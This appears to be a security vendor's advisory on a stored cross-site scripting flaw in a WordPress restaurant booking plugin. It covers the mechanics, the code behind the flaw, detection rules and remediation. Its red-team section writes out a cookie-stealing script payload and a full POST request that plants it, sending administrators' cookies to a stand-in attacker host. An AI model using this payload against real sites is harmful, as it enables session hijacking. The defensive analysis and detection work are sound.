CVE-2025-11496

Executive Summary

CVE-2025-11496 is a Stored Cross-Site Scripting (XSS) vulnerability in the Five Star Restaurant Reservations – WordPress Booking Plugin for WordPress, affecting all versions up to and including 2.7.5. The vulnerability resides in the rtb-name parameter, which is insufficiently sanitized and escaped. This allows unauthenticated attackers to inject arbitrary web scripts that execute when an administrator or other user accesses the injected page (e.g., the booking dashboard or reservation list). The CVSS v3.1 base score is 6.1 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. No public exploit code or PoC is currently available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability is easy to exploit (no authentication required) but requires user interaction (e.g., an admin viewing a reservation). The impact is limited to information disclosure and script injection within the WordPress admin context.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin's booking form. The rtb-name parameter is used to capture the customer's name during reservation submission. The plugin fails to sanitize this input (e.g., using wp_kses_post() or sanitize_text_field()) and does not escape the output when rendering the name in the admin dashboard or reservation list. An attacker can submit a reservation with a malicious payload in the name field, such as:

<script>alert('XSS')</script>

When an administrator views the reservation list, the script executes in their browser session, potentially allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.

The vulnerability is unauthenticated because the booking form is typically accessible to any visitor. The stored script persists in the database until manually removed.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.7.5): The plugin likely outputs the rtb-name directly without escaping, e.g.:

echo '<td>' . $reservation->name . '</td>';

Patched Code (hypothetical): A proper fix would use WordPress's escaping functions:

echo '<td>' . esc_html( $reservation->name ) . '</td>';

Additionally, input sanitization should be applied:

$name = sanitize_text_field( $_POST['rtb-name'] );

Since no official patch exists, users must manually apply these changes or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a WordPress instance with the Five Star Restaurant Reservations plugin (version 2.7.5 or earlier).
2. Craft Payload: Use a simple XSS payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit Reservation: Send a POST request to the booking endpoint with the malicious name:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   action=booking_request&rtb-name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&rtb-email=test@test.com&rtb-date=2025-01-01
   

4. Trigger: An administrator visits the reservation list (e.g., /wp-admin/admin.php?page=rtb-bookings). The script executes, sending the admin's cookies to the attacker.

Blue Team (Detection & Hardening)

• Input Validation: Implement server-side sanitization for all booking fields.
• Output Escaping: Ensure all user-supplied data is escaped before rendering.
• Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST parameters.
• Content Security Policy (CSP): Add a strict CSP header to mitigate script execution.
• Monitor Logs: Watch for unusual booking submissions containing <script> tags or encoded JavaScript.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=booking_request and rtb-name containing <script> tags or JavaScript event handlers.
• Host: Database entries in the wp_rtb_bookings table (or similar) with name fields containing HTML/JavaScript.
• File: Modified plugin files (e.g., wp-content/plugins/five-star-restaurant-reservations/). Check for unexpected changes.
• Log: WordPress debug log entries showing PHP warnings about unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_11496_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Five Star Restaurant Reservations plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-11496"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-11496 Stored XSS in Five Star Restaurant Reservations
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests with XSS payloads in the rtb-name parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=booking_request'
        cs-uri-query|contains: 'rtb-name='
        cs-uri-query|re: 'rtb-name=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in name fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11496 Stored XSS in Five Star Restaurant Reservations"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=booking_request"; http_client_body; pcre:"/rtb-name=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Five Star Restaurant Reservations plugin until a patch is released.
2. Manual Patch: Edit the plugin files to add esc_html() around the rtb-name output and sanitize_text_field() on input.
3. WAF Rules: Block requests containing <script> in the rtb-name parameter.
4. Monitor: Review reservation logs for suspicious entries and remove any malicious data.
5. Update: Watch the WordPress plugin repository for an official update.

Valters IT
Securing WordPress Ecosystems